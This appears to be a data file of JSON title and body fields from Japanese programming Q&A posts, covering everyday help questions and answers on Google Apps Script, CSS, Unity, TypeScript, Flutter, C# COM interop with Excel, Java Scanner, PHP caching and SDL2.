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"body": "ホームページから名前やメールアドレスの入力をしたときに、それらを保存する方法がわからないので知りたい。 \njavascriptは次のようなコードです。\n\n調べたことについては \ngoogleのApps Scriptという機能があること \nJSONの形式でデータを送れること \nなどです。\n\n現在のjavascriptのコードです。\n\n```\n\n (() => {\n const submitAccount = () => {\n window.setAccount('name', document.getElementById('accountName').value)\n window.setAccount('email', document.getElementById('accountEmail').value)\n window.setAccount('zip', document.getElementById('accountZip').value)\n window.setAccount('address', document.getElementById('accountAddress').value)\n window.setAccount('bankName', document.getElementById('accountBankName').value)\n window.setAccount('bankStore', document.getElementById('accountBankStore').value)\n window.setAccount('bankType1', document.getElementById('accountBankType1').checked)\n window.setAccount('bankType2', document.getElementById('accountBankType2').checked)\n window.setAccount('bankNumber', document.getElementById('accountBankNumber').value)\n window.setAccount('userName', document.getElementById('accountUserName').value)\n \n document.getElementById('accountSuccess').style.display = 'flex'\n document.getElementById('accountFailure').style.display = 'none'\n }\n \n const fetchAccount = () => {\n const account = window.getAccount()\n \n document.getElementById('accountName').value = account['name'] ?? ''\n document.getElementById('accountEmail').value = account['email'] ?? ''\n document.getElementById('accountZip').value = account['zip'] ?? ''\n document.getElementById('accountAddress').value = account['address'] ?? ''\n document.getElementById('accountBankName').value = account['bankName'] ?? ''\n document.getElementById('accountBankStore').value = account['bankStore'] ?? ''\n document.getElementById('accountBankType1').checked = account['bankType1'] ?? false\n document.getElementById('accountBankType2').checked = account['bankType2'] ?? false\n document.getElementById('accountBankNumber').value = account['bankNumber'] ?? ''\n document.getElementById('accountUserName').value = account['userName'] ?? ''\n }\n \n document.getElementById('accountSubmit').addEventListener('click', submitAccount)\n fetchAccount()\n })()\n \n```\n\nこれらを表の形式で書き出したいと思います。\n\njavascriptについては知識があまりないです。 \nコードと解説とともに教えていただけると大変ありがたいです。",
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"title": "ホームページで入力された情報をスプレッドシートに保存する方法",
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"title": "テキストを囲うdiv枠を、文字の長さに応じて常にcssで正円に表示したい",
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"body": "`border-radius` で円を作るなら、`aspect-ratio` でボックスが正方形になることを保証して、flexible box\nでセンタリングするのはいかがでしょうか。\n\n```\n\n div{\n display: inline-flex; /* センタリングのため変更 */\n border-radius: 50%;\n background-color: yellow;\n aspect-ratio: 1; /* 正円のため追加 */\n align-items: center; /* センタリングのため追加 */\n }\n```\n\n```\n\n <div>文字数可変のテキスト</div>\n <div>文字数可変</div>\n```",
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"body": "目的 \n正円の中から外へはみ出さないテキスト文字数をカウントしたい\n\n前提 \n・正円の中でテキストを折り返し表示 \n・文字の大きさは固定(em) \n・テキスト数は可変\n\n知りたいこと \n例えば、文字の大きさが「1.2em」の場合、 \n円(外枠div枠)の「幅」=「高さ」と「文字の大きさ」と「文字数」には、どのような関係性が成り立ちますか?\n\n```\n\n div{\n display:inline-block;\n border-radius:50%;\n backgrounud-color:green;\n }\n```\n\n```\n\n <div>折り返し表示される\n 文字数可変のテキスト</div>\n```",
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"title": "正円の中でテキストを折り返し表示する場合、正円の中から外へはみ出さないテキスト文字数のカウントの仕方は?",
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{
"body": "> 「1文字のフォントサイズ」と「テキスト文字数」が分かれば、そこから外へはみ出さない正円サイズを算出できるかも\n\n厳密に求めるなら、おそらく「円のサイズを仮決めしてから実際に文字を配置して足りるかどうかチェック」で二分探索する必要がある気がします。\n\n簡単にするなら、「文字が占める予想面積の正方形が入る正円よりちょっと大きめ」ぐらいでいいんじゃないでしょうか。Math.sqrt(行の高さ *\nフォントサイズ * 文字数) / sin(45°) / 2 より少し大きい値を半径にします。",
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"body": "### 実現したいこと\n\n * Macのローカル環境でGitHubプロジェクト [stable-diffusion-API](https://github.com/silverbirder/stable-diffusion-API.git) を動作するようにする\n * ターミナルから指定のプロジェクトを実行し、Webブラウザにアクセスしたら生成された画像が表示されるようにする\n\n### 質問内容\n\n最近、私はStability AIのSDKを使用したプロジェクトに取り組んでいます。このプロジェクトは、Stability\nAIのSDKを用いて、テキストプロンプトに基づいた画像を生成することを目指しています。\n\nしかし、プロジェクトをローカル環境で実行しようとすると、何度試してもうまくいきません。そこで、皆さんの助けを借りて、私の手順に何か問題があるのか、それとも他の要因が関与しているのかを解明したいと思います。\n\n以下に、私がこれまでに試した手順を記載します:\n\nGitHubから[Stable Diffusion API](https://github.com/silverbirder/stable-\ndiffusion-API.git)をクローンしました。 \nStability AIのウェブサイトからAPIキーを取得し、.envファイルに保存しました。 \nPythonの仮想環境を作成し、プロジェクトの依存関係をインストールしました。 \n`flask run` を実行してサーバーを起動し、`http://127.0.0.1:5000/?prompt=bird` にアクセスしました。 \nしかし、このURLにアクセスすると、内部サーバーエラーが表示されます。また、ターミナルのログには、status =\nStatusCode.INVALID_ARGUMENT details = \"must provide image parameters\"\nというエラーメッセージが表示されます。\n\nSDKのドキュメントを参照し、さまざまな解決策を試しましたが、うまくいきませんでした。\n\nこの問題について知識のある方がいらっしゃいましたら、ご教示いただけると幸いです。また、他の方が同じ手順を試し、同じ問題が発生するかどうかを確認していただけると大変助かります。\n\n<備考> \nこの質問について、現在別サイトでも同様の質問を掲載しています。恐れ入りますがご認識の程よろしくお願いいたします。\n\nよろしくお願いいたします。",
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"title": "Stability AI SDKを使用したプロジェクトがローカル環境で正常に動作しない",
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"body": "ajaxzip3を使ってContact form7の住所自動入力を行ってますがなぜか携帯では自動入力されません。 \nPCとコードは一緒なのでなぜ動かないかが分かりません。\n\n```\n\n 郵便番号<span style=\"color:red;\">(必須)</span>[text* zipcode class:form-fluid]\n 都道府県<span style=\"color:red;\">(必須)</span>[select* address1 include_blank class:form-fluid\"北海道\" \"青森県\" \"岩手県\" \"宮城県\" \"秋田県\" \"山形県\" \"福島県\" \"茨城県\" \"栃木県\" \"群馬県\" \"埼玉県\" \"千葉県\" \"東京都\" \"神奈川県\" \"新潟県\" \"富山県\" \"石川県\" \"福井県\" \"山梨県\" \"長野県\" \"岐阜県\" \"静岡県\" \"愛知県\" \"三重県\" \"滋賀県\" \"京都府\" \"大阪府\" \"兵庫県\" \"奈良県\" \"和歌山県\" \"鳥取県\" \"島根県\" \"岡山県\" \"広島県\" \"山口県\" \"徳島県\" \"香川県\" \"愛媛県\" \"高知県\" \"福岡県\" \"佐賀県\" \"長崎県\" \"熊本県\" \"大分県\" \"宮崎県\" \"鹿児島県\" \"沖縄県\"]\n \n 市区町村<span style=\"color:red;\">(必須)</span>[text* address2 class:form-fluid]\n 番地・建物名<span style=\"color:red;\">(必須)</span>[text* address3 class:form-fluid]\n \n```\n\n```\n\n <script src=\"https://ajaxzip3.github.io/ajaxzip3.js\" charset=\"UTF-8\"></script>\n <script type=\"text/javascript\">\n jQuery(function( $ ) {\n jQuery( 'input[name=\"zipcode\"]' ).keyup( function( e ) {\n AjaxZip3.zip2addr('zipcode','','address1','address2');\n } )\n } );\n </script>\n \n \n```",
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"title": "Contact form7の住所自動入力が携帯で動きません",
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"body": "ワイヤーアクションのゲームを制作しようとしています。 \n分かりやすくするために下記のような名前を付けます。\n\nrayC メインカメラから飛ばしたray \nrayP プレイヤーから飛ばしたray\n\nrayCをメインカメラから飛ばし,設置しているブロックに当たったら、プレイヤーからrayC.point(rayCとブロックが接触した座標)の方向にrayPを飛ばし,rayP.point(rayPとブロックが接触した座標)にオブジェクトを置きたいのですが、Debug.DrawRayを使ってみたとこrayCとrayPが予期しない方向に飛んでいきます。\n\n```\n\n if (Input.GetMouseButtonDown(0))\n {\n //rayCを飛ばす\n Ray rayC = Camera.main.ScreenPointToRay(Input.mousePosition);\n RaycastHit hitC;\n \n //rayCが当たったら\n if (Physics.Raycast(rayC, out hitC, Mathf.Infinity))\n {\n Debug.Log($\"HIT={hitC.collider.gameObject.name}\");\n //当たったオブジェクトのタグがブロックだったら\n if (hitC.collider.gameObject.CompareTag(\"block\"))\n {\n Debug.DrawRay(Camera.main.transform.position,\n Camera.main.ScreenToWorldPoint(hitC.point) , UnityEngine.Color.green, 0.5f);\n Vector3 tempV = hitC.point;\n tempV.z = 0;\n \n //rayPを飛ばす\n Ray rayP = new Ray(player.transform.position, tempV);\n RaycastHit hitP;\n Debug.DrawRay(player.transform.position, tempV, UnityEngine.Color.red, 0.5f);\n \n //rayPがブロックと当たったら\n if (Physics.Raycast(rayP, out hitP, Mathf.Infinity))\n {\n Debug.Log($\"ヒット\"+hitP);\n GetComponent<HingeJoint>();\n Vector3(Camera.main.ScreenToWorldPoint(mousePos).x, Camera.main.ScreenToWorldPoint(mousePos).y, Camera.main.ScreenToWorldPoint(mousePos).z);\n center.transform.position = new Vector3(hitP.point.x, hitP.point.y, hitP.point.z);\n Debug.Log($\"hitプレイヤー\"+ hitP.point);\n }\n }\n }\n }\n \n```",
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"title": "ワイヤーアクションのゲーム 2本のRaycastを飛ばして交わった場所にオブジェクトを設置しようとしたが、rayが飛んでいく方向がおかしい",
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"body": "いくつか間違いが見受けられます。\n\n```\n\n Debug.DrawRay(Camera.main.transform.position,\n Camera.main.ScreenToWorldPoint(hitC.point) , UnityEngine.Color.green, 0.5f);\n \n```\n\n[`Camera.ScreenToWorldPoint`](https://docs.unity3d.com/ScriptReference/Camera.ScreenToWorldPoint.html)\n\n`Camera.ScreenToWorldPoint`は、スクリーン座標(マウスカーソルの位置など)からワールド座標に変換するもので、引数に渡すのはスクリーン座標です。 \nしかし、実際に渡しているのは当たった場所、つまりワールド座標です。 \nそもそももともとワールド座標なのだから、`Camera.ScreenToWorldPoint`を呼ぶ必要がないのでは?\n\n[`Debug.DrawRay`](https://docs.unity3d.com/ScriptReference/Debug.DrawRay.html)\n\n更に、`Debug.DrawRay`の第2引数は、\n\n> Direction and length of the ray.\n\nと書かれているとおり、「レイの向かう位置」ではなく「レイの向きと長さ」です。 \n先の`Debug.DrawRay`の呼び出しも、同様の間違いをしているように見られます。\n\n```\n\n Vector3 tempV = hitC.point;\n tempV.z = 0;\n \n //rayPを飛ばす\n Ray rayP = new Ray(player.transform.position, tempV);\n \n```\n\n[Ray Constructor](https://docs.unity3d.com/ScriptReference/Ray-ctor.html)\n\n`Ray`のコンストラクタに関しても同様、第2引数はレイの向きです。位置ではありません。\n\n* * *\n\nどうも間違いが多く、\n\n * マニュアルをよく見ていない。\n * 「位置ベクトル」と「方向ベクトル」の区別がついていない。\n\nという感じがします。 \n前者であれば、マニュアルを読むクセをつけるべきですし、後者であれば、「位置ベクトル」「方向ベクトル」で検索すれば色々と説明してくれるサイトがあると思うので、しっかり理解してください。",
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"body": "node18を利用しているのですが、下記のコードでエラーが出てしまうのですが、どのように対応すればいいでしょうか。\n\n**エラー:**\n\n```\n\n この呼び出しに一致するオーバーロードはありません。\n 前回のオーバーロードにより、次のエラーが発生しました。\n 型 'string | number[] | ArrayBuffer' の引数を型 'WithImplicitCoercion<string> | { [Symbol.toPrimitive](hint: \"string\"): string; }' のパラメーターに割り当てることはできません。\n 型 'number[]' を型 'WithImplicitCoercion<string> | { [Symbol.toPrimitive](hint: \"string\"): string; }' に割り当てることはできません。\n \n```\n\n**コード:**\n\n```\n\n import * as enc from \"encoding-japanese\";\n \n const RequestJson = queryString.parse(event.body, \"&\", \"=\", { decodeURIComponent: myDecodeURIComponent });\n \n function myDecodeURIComponent(str: string): string {\n const decoded = enc.urlDecode(str);\n const encoded = enc.convert(decoded, {\n from: \"SJIS\",\n to: \"UTF8\"\n });\n \n const buf = Buffer.from(encoded);\n return buf.toString();\n }\n \n```",
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"title": "typescript でencoding-japaneseでエラーしてしまう",
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"body": "写真のようなエラーが出るのですが、どう解決すればよろしいでしょうか;:\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/8PhPX.png)](https://i.stack.imgur.com/8PhPX.png)",
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"title": "Dart上のエラーが分からない",
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"body": "> Warning: CocoaPods not installed. Slipping pod install\n\nとエラーコードにあるので、CocoaPodsによるエラーだと考えられます。\n\nおそらく、Dart上のエラーとタグから推測するにFlutter開発上のエラーである前提として回答します。\n\nまた、M1MacかIntel Mac、Android StudioかVScodeかによって対応も変わってくるそうです。\n\n## Cocoa PodsのInstall\n\n`CocoaPods not installed`が出ている以上、CocoaPodsがInstallされていない可能性があります。\n\nターミナル上で \n\n```\n\n $ sudo gem install cocoapods\n \n```\n\nでCocoaPodsをInstallしてみてください。\n\n詳細は[公式ページ](https://guides.cocoapods.org/using/getting-started)にあります。\n\n## Flutter Doctor\n\nターミナル上で\n\n```\n\n $ flutter doctor\n \n```\n\nと入力してFlutter Doctorを起動して、\n\n```\n\n [!] Android toolchain \n \n```\n\nという箇所があったら、`Flutter run`をしてから、Android Stuidoを閉じてターミナル上で\n\n```\n\n $ open /Applications/Android\\ Studio.app\n \n```\n\nと入力して、再度Android Stuiodを開くと解決するそうです。 \n[参考文献](https://stackoverflow.com/questions/68446186/flutter-warning-cocoapods-\nnot-installed-skipping-pod-install-even-while-inst)\n\n## その他\n\n他、Flutter3になってから同様なエラーの報告がZennにありました。M1MacとIntell\nMacによって対応が異なるそうなので、以下、2つの記事から対応してみてください\n\n * [M1Mac](https://zenn.dev/hi_okuma/articles/1193c0b5df8a29)\n * [Intell Mac](https://zenn.dev/ryouhei_furugen/articles/ace89d5796e28e)",
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"body": "お世話になります。\n\nExcelのVBAから、C#で作成したCOMライブラリを使用したく、 \n先ず、C#のコードを以下の様にしました。 \n(VS2019を管理者権限にて起動し、新規プロジェクトより、C#-クラスライブラリ(.netframework 4.8)にて、AAA.csとして実装)\n\n```\n\n using System;\n using System.Runtime.InteropServices;\n \n namespace clsLibZZZ\n {\n [Guid(\"xxxxxxxx-xxxx ...xxxx\")] - (1)\n [ComVisible(true)]\n public interface IAAA\n {\n //\n }\n \n [Guid(\"xxxxxxxx-xxxx ...xxxx\")] - (2)\n [InterfaceType(ComInterfaceType.InterfaceIsIDispatch)]\n public interface IAAAEvents\n {\n //\n }\n \n [Guid(\"xxxxxxxx-xxxx ...xxxx\")] - (3)\n [ClassInterface(ClassInterfaceType.None)]\n [ComSourceInterfaces(typeof(IAAAEvents))]\n public class AAA : IAAA\n {\n public AAA()\n {\n //\n }\n ~AAA()\n {\n //\n GC.Collect();\n GC.WaitForPendingFinalizers();\n GC.Collect();\n }\n \n }\n }\n \n```\n\n※ (1)(2)(3)はそれぞれ違うGUID値をVS2019のツール「GUIDの作成」からコピー/貼り付けしております。\n\nプロジェクトのプロパティにて、 \n・「アセンブリをCOM参照可能にする」にチェックを入れ、 \n・「COM相互運用機能の登録」にチェックを入れ、\n\nビルドの構成マネージャーにて、 \n・プラットフォームを x64 に設定 \nし、コンパイルしました。\n\nDebug/Releaseフォルダとも、 \n・clsLibZZZ.dll \n・clsLibZZZ.tlb \nが出来る事を確認しております。\n\nExcel(Excel365 64bit)を起動し、「開発」タブのVisualBasicを開き、 \n「参照設定」にて、(上記で作成された)\"clsLibZZZ.tlb\"を追加します。 \n(特に問題は起こらず、clsLibZZZにチェックが付きます)\n\nVBAProjectを右クリックして、「挿入」→「クラスモジュール」を追加します。\n\n```\n\n Option Explicit\n \n Public WithEvents XYZ As clsLibZZZ.AAA\n \n Private Sub Class_Initialize()\n \n Set XYZ = New AAA\n \n End Sub\n \n Private Sub Class_Terminate()\n \n Set XYZ = Nothing\n \n End Sub\n \n```\n\n次に、VBAProjectを右クリックして、「挿入」→「標準モジュール」を追加します。\n\n```\n\n Option Explicit\n \n Private cls1 As Class1\n \n Public Sub InitClass()\n \n Set cls1 = New Class1\n \n End Sub\n \n Public Sub ReleaseClass()\n \n Set cls1 = Nothing\n \n End Sub\n \n```\n\n適当なファイル名を付けて、Excelマクロ(xlsm)を保存し、VisualBasicの画面を閉じます。\n\nExcelのシートの画面に戻ったら、「開発」タブの「マクロ」から InitClass を実行します。 \nそのまま、 **5分ほど放置** します。 \nその後、「開発」タブの「マクロ」から ReleaseClass を実行します。 \nExcelを右上の[×]にて、終了します。\n\nしばらく待つと、Excelが「Book1」として、再起動してしまいます。 \n但し、「5分待つ」を「10秒待つ」だとExcelの再起動はありません。\n\n【動作確認環境】\n\nWindows10 Pro(64bit) + Excel365(Office365) 64bit \nWindows11 Pro(64bit) + Excel2019 64bit\n\nこの現象について、色々と調べてみましたが、Excelが再起動する原因と解消する方法が分かりませんでした。 \n何か分かる方がご教授を頂きたく、よろしくお願いいたします。\n\n追伸\n\n何故「空」なのか?を問う方も居られるかと思います。 \n当初はC#で通信プログラムを組み、COMライブラリとする事で、VBAから扱う事を目的としていました。 \nこの通信プログラムとのやりとりには問題が無かったものの、しばらく通信ログを取り、Excelを終了した後に再起動が確認されました。 \nリソースの解放不足かと思ったのですが。色々とやっている内に「空」でも発生する事が分かった次第です。",
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"title": "空のCOMクラスライブラリ(C#)を、VBAから初期化してから解放すると、Excelが再起動する(短時間では再起動しない)",
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"body": "下記の様なコードを作成しました。 \nこのプログラムを実行すると、classファイル実行時にエラーが出ます。 \nどうやらScannerクラスのcloseメソッドに問題があるようです。\n\n以上のことを踏まえた上で質問させていただきます。 \nScannerクラスでsc1とsc2の様に呼び出した後、 `sc1.close()`\nなどとしてcloseメソッドを呼び出したら、sc2の標準入力ストリームも閉じてしまうのでしょうか?\n\n別々のものとして呼び出しているはずなのに、この様な事が起こる事がとても不思議です。\n\nご回答のほど、どうぞよろしくお願いいたします。\n\n**エラーメッセージ:**\n\n```\n\n mainメソッド内の入力(1) > 1\n メソッド呼出しの入力 > 2\n mainメソッド内の入力(2) > Exception in thread \"main\" java.util.NoSuchElementException\n at java.base/java.util.Scanner.throwFor(Scanner.java:945)\n at java.base/java.util.Scanner.next(Scanner.java:1602)\n at java.base/java.util.Scanner.nextInt(Scanner.java:2267)\n at java.base/java.util.Scanner.nextInt(Scanner.java:2221)\n at Test.main(Test.java:11)\n \n```\n\n**現状のコード:**\n\n```\n\n import java.util.Scanner;\n \n class Test {\n public static void main(String[] args) {\n Scanner sc1 = new Scanner(System.in);\n \n System.out.print(\"mainメソッド内の入力(1) > \") ; int a = sc1.nextInt() ;\n \n processInput();\n \n System.out.print(\"mainメソッド内の入力(2) > \") ; int b = sc1.nextInt() ;\n \n sc1.close();\n \n }\n \n static void processInput() {\n Scanner sc2 = new Scanner(System.in) ; \n \n System.out.print(\"メソッドでの呼出しの入力 > \") ; int input = sc2.nextInt() ;\n \n sc2.close();\n \n }\n \n }\n \n```",
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"title": "javaのScannerクラスについての質問です。",
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{
"body": "> `sc1.close()` などとしてcloseメソッドを呼び出したら、sc2の標準入力ストリームも閉じてしまうのでしょうか?\n\nその文は正しいですが質問文のコードで起きているのは逆で、「`processInput()` 内で `sc2.close()` をしたため\n`System.in` がクローズされ、`sc1` がデータを取れなくなった」です。\n\n1つのストリームから複数の`Scanner`インスタンスを作るべきではありません。`processInput()` に `Scanner` 引数を足して\n`sc1` を渡して使うべきです。",
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"body": "IJCad C#により、異尺度対応に設定した文字スタイルを作成後、文字を作成しましたが文字属性を確認すると \n異尺度対応が反映されません。新しい文字スタイルには異尺度対応にはチャックが入っており、IJCad上で文字を \n作成すると異尺度対応は「はい」になります。私のコードの間違いを教えて下さい。 \n以下に、コードを載せます。\n\n```\n\n [CommandMethod(\"MyText\")]\n public static void Text()\n {\n //ドキュメント、データベースオブジェクトの作成\n Document doc = GrxCAD.ApplicationServices.Application.DocumentManager.MdiActiveDocument;\n Database db = doc.Database;\n \n //トランザクションの開始\n using (Transaction Trans = db.TransactionManager.StartTransaction())\n {\n // ブロックテーブルの読み込み\n BlockTable BlkTbl;\n BlkTbl = Trans.GetObject(db.BlockTableId, OpenMode.ForRead) as BlockTable;\n \n // 書き込み用にブロックテーブルレコードのモデル空間を開く\n BlockTableRecord BlkTblRec;\n BlkTblRec = Trans.GetObject(BlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;\n \n // 現在のテキスト スタイルを書き込み用に開く\n TextStyleTableRecord textStyleTblRec;\n textStyleTblRec = Trans.GetObject(db.Textstyle, OpenMode.ForWrite) as TextStyleTableRecord;\n \n string textStyleName = \"MS明朝\";\n string textStyleFont = \"MS 明朝\";\n TextStyleTable newTextStyleTable = Trans.GetObject(doc.Database.TextStyleTableId, OpenMode.ForRead) as TextStyleTable;\n if (!newTextStyleTable.Has(textStyleName)) //The TextStyle is currently not in the database\n {\n newTextStyleTable.UpgradeOpen();\n TextStyleTableRecord newTextStyleTableRecord = new TextStyleTableRecord();\n newTextStyleTableRecord.FileName = textStyleFont; // フォント名\n newTextStyleTableRecord.Name = textStyleName; // 文字スタイル名\n newTextStyleTableRecord.Annotative = AnnotativeStates.True; // 異尺度対応\n \n newTextStyleTable.Add(newTextStyleTableRecord);\n Trans.AddNewlyCreatedDBObject(newTextStyleTableRecord, true);\n }\n \n DBText text = new DBText();\n text.Position = new Point3d(0, 0, 0);\n text.Height = 18;\n text.TextString = \"今日は\";\n text.TextStyleId = newTextStyleTable[textStyleName];\n \n BlkTblRec.AppendEntity(text);\n Trans.AddNewlyCreatedDBObject(text, true);\n \n // 変更を保存してトランザクションを破棄する(トランザクションの終了)\n Trans.Commit();\n }\n }\n \n```",
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"title": "IJCad C#を使用して異尺度対応に設定した文字スタイルを作成後,文字を作成したが文字属性の異尺度対応が反映されない。",
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{
"body": "> 異尺度対応に設定した文字スタイルを作成後、文字を作成しましたが文字属性を確認すると \n>\n> 異尺度対応が反映されません。新しい文字スタイルには異尺度対応にはチャックが入っており、IJCad上で文字を作成すると異尺度対応は「はい」になります。私のコードの間違いを教えて下さい。\n\nDBTextに対しても \ntext.Annotative = AnnotativeStates.True; \nでセットしてみたらいかがでしょうか。\n\n添付のコードを見ると \nnewTextStyleTableRecord.Annotative = AnnotativeStates.True; \nで文字スタイルテーブルの異尺度はONにしていますが、 \nテキストオブジェクトに対してもセットすると目的の動作ができると思います。",
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"body": "Google Drive APIを使用したファイルをアップロードするPHPプログラムをcronで毎日稼働させています。 \nその中で下記エラーが発生しました。\n\n```\n\n Error Message: Google\\Service\\Exception: {\n \"error\": {\n \"code\": 401,\n \"message\": \"Invalid Credentials\",\n \"errors\": [\n {\n \"message\": \"Invalid Credentials\",\n \"domain\": \"global\",\n \"reason\": \"authError\",\n \"location\": \"Authorization\",\n \"locationType\": \"header\"\n }\n ]\n }\n }\n \n```\n\n内容自体は下記認証エラーだと思うのですが \n<https://developers.google.com/drive/api/guides/handle-\nerrors?hl=ja#resolve_a_401_error_invalid_credentials>\n\n不可解なのは、常に上記エラーが出ているわけではなく、とある1日の一部プログラムのみ発生した点です。 \n該当プログラムは、毎日指定時間に合計25回ほど実行されているのですが、 \n4月より毎日稼働しているにも関わらず、とある日の一部稼働のみ(25回中9回)に発生しました。\n\n認証ファイルやプログラム内容は変えていません。 \n認証エラーだとすると全ての日の全ての実行で発生すると思うのですが・・・。\n\nDrive APIは下記を通じて使用しています。 \ngoogle-api-php-client--PHP7.4 \n<https://github.com/googleapis/google-api-php-client/releases>\n\nPHPプログラム自体はごくシンプルなものです。\n\n<その他調査したこと> \n・毎朝8時前に実行していますが、エラー発生時刻にはとくに規則性は見当たりません。 \n・トークンは失効していません。 \n・Google DriveやDrive API自体の障害は報告されていません。 \n・cronを実行しているサーバーでも該当日の障害はありませんでした。\n\n他に確認すべきことや試してみると良いことなどあればアドバイスいただけますと幸いです。 \nよろしくお願いいたします。",
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"title": "Google Drive API でファイルをアップロードする際、Invalid Credentials エラーが出る",
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"body": "Server version: Apache/2.4.37 (centos) \nPHP Version:8.1.18 \n設定ファイルの内容などは全て同じ\n\n■疑問のきっかけk \nPHPで開発する際にサーバーを二つ立てています \n一つは開発用テストサーバー(以後T)、一つはユーザー用サーバー(以後:U)です。 \nUにソースコードを反映させる前にTでテストします。 \nしかし、Tで問題がないとUにアップロードしても反映されず \nブラウザキャッシュをクリアしてもOSやhttpdやphp-fpmを再起動しても反映されませんが \nphp artisan clearをすると反映されました。(動作は問題ありませんでした) \nT→アップロードすれば即反映される \nU→アップロード後キャッシュをクリアしなければ反映されない\n\n■何が知りたいのか \n何故アップロード先のサーバーが違うだけで手順を変えなければ反映されない自体が発生するのか。 \n対処法はどんなものが考えられるか。\n\n以上、よろしくお願いします。",
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"title": "PHPのソースコードをアップロードした際に反映されない場合がある理由が知りたいです",
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"body": "下記のコードでボタンを表示しようとしています。 \ncreateを一度だけ実行し、その後の表示はdrawだけ呼べばいい、というようにしたいのですが、createも呼ばないと表示されません。どこで間違えているのでしょうか。\n\nButton.h\n\n```\n\n #pragma once\n \n #include <string>\n #include <functional>\n #include <SDL.h>\n #include <SDL_ttf.h>\n \n class Button\n {\n public:\n void create(\n SDL_Window *window, SDL_Renderer *renderer, \n int x, int y, int w, int h, std::string text, TTF_Font *font, \n SDL_Color bgColor, SDL_Color textColor)\n {\n mRenderer = renderer;\n \n bc = bgColor;\n mButtonRect = {x, y, w, h}; \n \n SDL_Surface *surface = SDL_GetWindowSurface(window);\n surface = TTF_RenderUTF8_Blended(font, text.c_str(), textColor);\n mTexture = SDL_CreateTextureFromSurface(mRenderer, surface);\n \n int iw, ih;\n SDL_QueryTexture(mTexture, NULL, NULL, &iw, &ih);\n \n mTextRect = {0, 0, iw, ih};\n }\n void Draw()\n {\n SDL_SetRenderDrawColor(mRenderer, bc.r, bc.g, bc.b, bc.a);\n SDL_RenderFillRect(mRenderer, &mButtonRect);\n SDL_RenderCopy(mRenderer, mTexture, &mTextRect, &mButtonRect);\n }\n \n void (*onClick)();\n \n private:\n SDL_Color bc;\n SDL_Renderer *mRenderer;\n SDL_Texture *mTexture;\n SDL_Rect mButtonRect;\n SDL_Rect mTextRect;\n };\n \n```",
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"title": "SDL2でのボタン表示",
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"body": "### 解決したいこと\n\nGASとSlackを連携してSlackの投稿に押されているスタンプの数を計測したい\n\n### 詳細\n\n * Slackの投稿に押されているスタンプの数を計測してスプレットシートに反映させたい\n * 複数チャンネル(Slack)の情報を取得したい \n1つのスプレットシートにチャンネルごとのタブを作成して反映させたい\n\n### できたこと\n\n * 1つのチャンネルからスタンプ数を計測してスプレットシートに反映させる処理\n * 日時、投稿者(アドレス)、投稿者からメンションをつけられた人(アドレス)、リアクションしたユーザー数(Slackスタンプを押した人)、リアクションしたユーザーの名前(アドレス)の取得&スプレットシートへ反映させる\n\n### 解決したいこと\n\n同じ条件で複数チャンネルで情報取得し、チャンネルごとのタブに結果を反映させる処理\n\n### 発生している問題・エラー\n\nspreadSheetのスクリプトのエラーが以下の通りです(spreadSheetスクリプト全体は以下に記載しております)\n\n```\n\n TypeError: Cannot read properties of undefined (reading 'length')\n outputSpreadSheet @ spreadSheet.gs:16\n \n```\n\n### 該当するソースコード\n\n**GAS(spreadSheet)**\n\n```\n\n /**\n * スプレッドシートにデータを書き出す\n * param dataList 書き出すデータのリスト\n */\n function outputSpreadSheet(dataList) {\n const spredSheetID = PropertiesService.getScriptProperties().getProperty('SS_FILE_ID') \n const sheetName = PropertiesService.getScriptProperties().getProperty('SS_SHEET_NAME') \n const ss = SpreadsheetApp.openById(spredSheetID)\n \n // 作業シートを取得\n const sheet = ss.getSheetByName(sheetName);\n \n // 最終行に記載\n const lastRow = findLastRow(sheet, 1);\n \n for(let i = 0; i < dataList.length; i++){\n sheet.getRange(lastRow+1, i + 1).setValue(dataList[i]);\n }\n }\n \n /**\n * 指定列の「最終行の行番号」を返す\n *\n * @param {object} シート\n * @param {number} 列番号\n * @return {number} 最終行の行番号\n */\n function findLastRow(sheet, col) {\n \n //指定の列を二次元配列に格納する※シート全体の最終行までとする\n const ColValues = sheet.getRange(1, col, sheet.getLastRow(), 1).getValues(); \n \n //二次元配列のなかで、データが存在する要素のlengthを取得する\n const lastRow = ColValues.filter(String).length;\n \n return lastRow;\n }\n \n```\n\n**GAS(properties)**\n\n```\n\n /**\n * properties セット用\n */\n function setProperties() {\n const scriptProperties = PropertiesService.getScriptProperties();\n \n // プロパティ設定用\n scriptProperties.setProperties({\n // アプリ名:Slack履歴取得\n \"SLACK_HISTORY_API_TOKEN\": \"API,\n // アプリ名:SlackユーザID取得API\n \"SLACK_USER_API_TOKEN\": \"API\",\n \n // チャンネル名(1)\n //仮でチャンネル名1と定義\n \"SLACK_CHANNNEL_ID\": \"ID\",\n // SpreadSheet シート名\n \"SS_SHEET_NAME\": \"1\",\n \n // チャンネル名(2)\n \"SLACK_CHANNNEL_ID\": \"ID\",\n // SpreadSheet シート名\n \"SS_SHEET_NAME\": \"2\",\n \n // チャンネル名(3)\n \"SLACK_CHANNNEL_ID\": \"ID\",\n // SpreadSheet シート名\n \"SS_SHEET_NAME\": \"3\",\n \n // チャンネル名(4)\n \"SLACK_CHANNNEL_ID\": \"ID\",\n // SpreadSheet シート名\n \"SS_SHEET_NAME\": \"4\",\n \n // チャンネル名(5)\n \"SLACK_CHANNNEL_ID\": \"ID\",\n // SpreadSheet シート名\n \"SS_SHEET_NAME\": \"5\",\n \n // SpreadSheet ファイルID\n \"SS_FILE_ID\": \"ID\",\n });\n }\n \n```\n\n### 自分で試したこと\n\n①リスト上記にも記載しましたが、以下のコードを書く+チャンネルごとのタブを作成したのですが反映されていない\n\n```\n\n // チャンネル名(5)\n \"SLACK_CHANNNEL_ID\": \"ID\",\n // SpreadSheet シート名\n \"SS_SHEET_NAME\": \"5\",\n \n```\n\n②上記記載のエラーの原因(仮説)\n\n・「dataList」が配列になっていないから? \n・「function outputSpreadSheet(dataList) 」の時点で関数を呼び出した際に「dataList」で何も受け取れていない? \n↓ \nconsole.log(dataList) \nで実行した結果、 \n「情報 undefined」 \n↓ \n・スプレッドシートにデータを書き出す処理をするのにデータを受け取っていない状態? \n→今ここでどうしたらいいか分からず詰まっています><",
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"title": "Slackと連携してSlackの投稿に押されているスタンプの数を計測したい",
